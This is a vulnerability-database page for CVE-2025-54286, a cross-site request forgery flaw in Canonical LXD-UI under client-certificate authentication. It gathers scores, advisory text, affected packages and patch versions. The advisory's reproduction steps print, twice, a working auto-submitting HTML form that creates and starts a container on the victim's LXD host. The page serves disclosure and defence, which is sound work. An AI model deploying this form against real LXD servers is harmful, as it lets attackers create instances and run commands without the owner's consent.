CVE-2025-54286

CSRF Vulnerability When Using Client Certificate Authentication with the LXD-UI

7.5 HighFix available

Cross-Site Request Forgery (CSRF) in LXD-UI in Canonical LXD versions >= 5.0 on Linux allows an attacker to create and start container instances without user consent via crafted HTML form submissions exploiting client certificate authentication.

Attack profile

How easy it is to exploit

Attack vector: Network
Complexity: High
Privileges needed: None
User interaction: Active

What an attacker can affect

Confidentiality: High
Integrity: High
Availability: High

Exploit likelihood

0.13%Up 0.1 points since Oct 2, 2025

What each source reports

CVE List Score used 7.5

CSRF Vulnerability When Using Client Certificate Authentication with the LXD-UI

Record: CVE-2025-54286
CVSS 4.0: 7.5 HighCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
Weakness: CWE-352
Updated: 2026-11-02

EUVDEUVD-2025-32635 7.5

Record: EUVD-2025-32635
CVSS 4.0: 7.5 HighCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
Updated: 2026-11-02

GitHub AdvisoriesGHSA-p8hw-rfjg-689h 7.5

Canonical LXD CSRF Vulnerability When Using Client Certificate Authentication with the LXD-UI

Description

OIDC authentication uses cookies with the SameSite=Strict attribute, preventing cookies from being sent with requests from other sites. Therefore, CSRF does not occur as long as web services in a Same Site relationship (same eTLD+1) with the origin running LXD-UI are trusted.

However, since the SameSite concept does not apply to client certificates, CSRF protection that doesn't rely on the SameSite attribute is necessary.

Note that when using cross-origin fetch API, client certificates are not sent in no-cors mode due to CORS restrictions (according to the WHATWG Fetch specification(https://fetch.spec.whatwg.org/#credentials), client certificates are treated as credentials), making cross-site attacks using fetch API difficult unless CORS settings are vulnerable. However, since LXD's API parses request bodies as JSON even when Content-Type is text/plain or application/x-www-form-urlencoded, CSRF attacks exploiting HTML form submissions are possible.

Reproduction Steps

Prepare a malicious website controlled by the attacker
Deploy the following HTML form to implement an attack that automatically creates instances when victims visit:

This exploit code automatically sends a JSON string as text/plain to create an instance when rendered.

Note that for this PoC to work, the specified profile (default) must have a Default instance storage pool configured. This is typically set in the default profile of projects created after storage pool creation.

<html>
<body>
<form enctype="text/plain" method="POST" action="https://lxd-host:8443/1.0/instances?project=default&target=" id="form">
<input type="hidden" name='{"' id="input">
<input type="submit">
</form>
<script>
const i = document.getElementById('input');
i.value = `":123,"name":"poc","type":"container","profiles":["default"], "source":{"alias":"24.04","mode":"pull","protocol":"simplestreams","server":"https://cloud-images.ubuntu.com/releases","type":"image"},"devices":{},"config":{},"start":true}`;
document.getElementById('form').submit();
</script>
</body>
</html>

Log in to LXD-UI with a user having permissions to create instances in the project (default) specified in step 2
Access the URL of the HTML file prepared in step 2 and confirm that an instance is created and started

Risk

The attack conditions require that the victim is already connected to LXD using client certificate authentication and that the attacker can lead the victim to a controlled website.

Possible actions through the attack include, depending on the victim's permissions, creating and starting arbitrary instances, and executing arbitrary commands inside containers using cloud-init.

Countermeasures

The most effective countermeasure is to strictly enforce Content-Type validation at API endpoints. Specifically, change the implementation to reject requests when Content-Type is not application/json. With this countermeasure, attackers cannot send proper JSON requests using Simple Requests (HTML form submissions) and must use fetch API with CORS. However, as long as proper CORS settings are implemented, client certificates are not sent with cross-origin fetch API requests, preventing the attack.

Additionally, implementing CSRF tokens or validating Origin/Referer headers could be considered as countermeasures, but these would create compatibility issues with the LXD command, which is another API client.

Patches

| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Fixed in LXD 5.0.5 | | 4.0 | Ignored - No web UI |

References

Reported by GMO Flatt Security Inc.

Record: GHSA-p8hw-rfjg-689h
CVSS 4.0: 7.5 HighCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
CVSS 3.1: 8.3 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
Weakness: CWE-352
Updated: 2026-11-02

NVD 7.5

Record: CVE-2025-54286
CVSS 4.0: 7.5 HighCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1: 8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness: CWE-352
Updated: 2026-11-02

OSVALPINE-CVE-2025-54286 8.8

Record: ALPINE-CVE-2025-54286
CVSS 3.1: 8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Updated: 2026-11-03

OSV 7.5

CSRF Vulnerability When Using Client Certificate Authentication with the LXD-UI

Record: CVE-2025-54286
CVSS 4.0: 7.5 HighCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
Weakness: CWE-352
Updated: 2026-11-02

Show 6 moreShow less

OSVDEBIAN-CVE-2025-54286 8.8

Record: DEBIAN-CVE-2025-54286
CVSS 3.1: 8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Updated: 2026-11-02

OSVGHSA-p8hw-rfjg-689h 7.5

Canonical LXD CSRF Vulnerability When Using Client Certificate Authentication with the LXD-UI

Description

However, since the SameSite concept does not apply to client certificates, CSRF protection that doesn't rely on the SameSite attribute is necessary.

Reproduction Steps

Prepare a malicious website controlled by the attacker
Deploy the following HTML form to implement an attack that automatically creates instances when victims visit:

This exploit code automatically sends a JSON string as text/plain to create an instance when rendered.

<html>
<body>
<form enctype="text/plain" method="POST" action="https://lxd-host:8443/1.0/instances?project=default&target=" id="form">
<input type="hidden" name='{"' id="input">
<input type="submit">
</form>
<script>
const i = document.getElementById('input');
i.value = `":123,"name":"poc","type":"container","profiles":["default"], "source":{"alias":"24.04","mode":"pull","protocol":"simplestreams","server":"https://cloud-images.ubuntu.com/releases","type":"image"},"devices":{},"config":{},"start":true}`;
document.getElementById('form').submit();
</script>
</body>
</html>

Log in to LXD-UI with a user having permissions to create instances in the project (default) specified in step 2
Access the URL of the HTML file prepared in step 2 and confirm that an instance is created and started

Risk

The attack conditions require that the victim is already connected to LXD using client certificate authentication and that the attacker can lead the victim to a controlled website.

Possible actions through the attack include, depending on the victim's permissions, creating and starting arbitrary instances, and executing arbitrary commands inside containers using cloud-init.

Countermeasures

Patches

| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Fixed in LXD 5.0.5 | | 4.0 | Ignored - No web UI |

References

Reported by GMO Flatt Security Inc.

Record: GHSA-p8hw-rfjg-689h
CVSS 4.0: 7.5 HighCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
CVSS 3.1: 8.3 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
Weakness: CWE-352
Updated: 2026-11-02

OSVUBUNTU-CVE-2025-54286 7.5

Record: UBUNTU-CVE-2025-54286
CVSS 4.0: 7.5 HighCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
CVSS 3.1: 8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Updated: 2026-11-02

OSVGO-2025-4003 No score

CSRF Vulnerability When Using Client Certificate Authentication with the LXD-UI in github.com/canonical/lxd

CSRF Vulnerability When Using Client Certificate Authentication with the LXD-UI in github.com/canonical/lxd

Record: GO-2025-4003
Updated: 2026-11-02

OSVopenSUSE-SU-2025:15710-1 No score

govulncheck-vulndb-0.0.20251105T184115-1.1 on GA media

These are all security issues fixed in the govulncheck-vulndb-0.0.20251105T184115-1.1 package on the GA media of openSUSE Tumbleweed.

Record: openSUSE-SU-2025:15710-1
Updated: 2026-11-02

OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
GO-2026-5933 GHSA-3g4q-2f67-2gvh
GO-2026-5934 GHSA-59qp-cfj3-rp64
GO-2026-5935 GHSA-7856-g3gv-9wq8
GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
GO-2026-5942 CVE-2026-46600
GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
GO-2026-5969 GHSA-g936-7jqj-mwv8
GO-2026-5970 CVE-2026-56852
GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
GO-2026-5981 GHSA-mqxv-9rm6-w8qc
GO-2026-5982 GHSA-pqg7-v6wh-3pfp
GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
GO-2026-5985 GHSA-7rx3-5wx3-5v76
GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…

Record: openSUSE-SU-2026:21483-1
Updated: 2026-11-02

Affected products

canonical lxd

Affected packages

Affected packages
Package	Affected	Fixed
`github.com/canonical/lxd` Go	5.0 up to 5.0.5	5.0.5
`github.com/canonical/lxd` Go	5.1 up to 5.21.4	5.21.4
`github.com/canonical/lxd` Go	6.0 up to 6.5	6.5
`github.com/canonical/lxd` Go	0.0.0-20220401034332-1e1349e3cbf3 up to 0.0.0-20250827065555-0494f5d47e41	0.0.0-20250827065555-0494f5d47e41
`incus` Alpine:v3.23	before 6.0.6-r0	6.0.6-r0
`incus` Alpine:v3.24	before 6.0.6-r0	6.0.6-r0
`incus` Debian:13	before 6.0.4-2+deb13u1, plus listed versions 6.0.4-26.0.4-2+deb13u1~bpo12+1	6.0.4-2+deb13u1
`incus` Debian:14	before 6.0.5-1, plus listed versions 6.0.4-26.0.4-3	6.0.5-1
`lxd` Debian:12	All versions, plus listed versions 5.0.2+git20231211.1364ae4-15.0.2+git20231211.1364ae4-25.0.2+git20231211.1364ae4-35.0.2+git20231211.1364ae4-45.0.2+git20231211.1364ae4-5 Show 12 moreShow less 5.0.2+git20231211.1364ae4-65.0.2+git20231211.1364ae4-75.0.2+git20231211.1364ae4-85.0.2+git20231211.1364ae4-95.0.2-55.0.2-5+deb12u15.0.2-5+deb12u25.0.2-5+deb12u35.0.2-5+deb12u45.0.2-5+deb12u55.0.2-5+deb12u65.0.2-6	None known
`lxd` Debian:13	before 5.0.2+git20231211.1364ae4-9+deb13u1, plus listed versions 5.0.2+git20231211.1364ae4-9	5.0.2+git20231211.1364ae4-9+deb13u1

Show 6 moreShow less

Affected packages
Package	Affected	Fixed
`incus` Debian:13 From an advisory covering 7 CVEs	before 6.0.4-2+deb13u1, plus listed versions 6.0.4-26.0.4-2+deb13u1~bpo12+1	6.0.4-2+deb13u1
`lxd` Debian:12 From an advisory covering 4 CVEs	before 5.0.2-5+deb12u1, plus listed versions 5.0.2-5	5.0.2-5+deb12u1
`lxd` Debian:13 From an advisory covering 4 CVEs	before 5.0.2+git20231211.1364ae4-9+deb13u1, plus listed versions 5.0.2+git20231211.1364ae4-9	5.0.2+git20231211.1364ae4-9+deb13u1
`github.com/canonical/lxd` Go	All versions	None known
`govulncheck-vulndb` openSUSE:Tumbleweed From an advisory covering 70 CVEs	before 0.0.20251105T184115-1.1	0.0.20251105T184115-1.1
`govulncheck-vulndb` openSUSE:Leap 16.0 From an advisory covering 1734 CVEs	before 0.0.20260723T184607-160000.1.1	0.0.20260723T184607-160000.1.1

History

History
Recorded	Changed	Sources
Nov 6, 2026	affected, facts
Nov 3, 2026	affected, aliases, references	OSV
Nov 3, 2026	affected
Nov 2, 2026	first indexed	CVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2025-54286 is a high vulnerability (CVSS 7.5) in Canonical Lxd, published October 2, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.13%, the 2nd percentile. Fixed in github.com/canonical/lxd 5.0.5.

References

Show 194 moreShow less

This page doesn't list everything

Left out here: 1,544 references and the rest of 1 source description. The JSON record has them.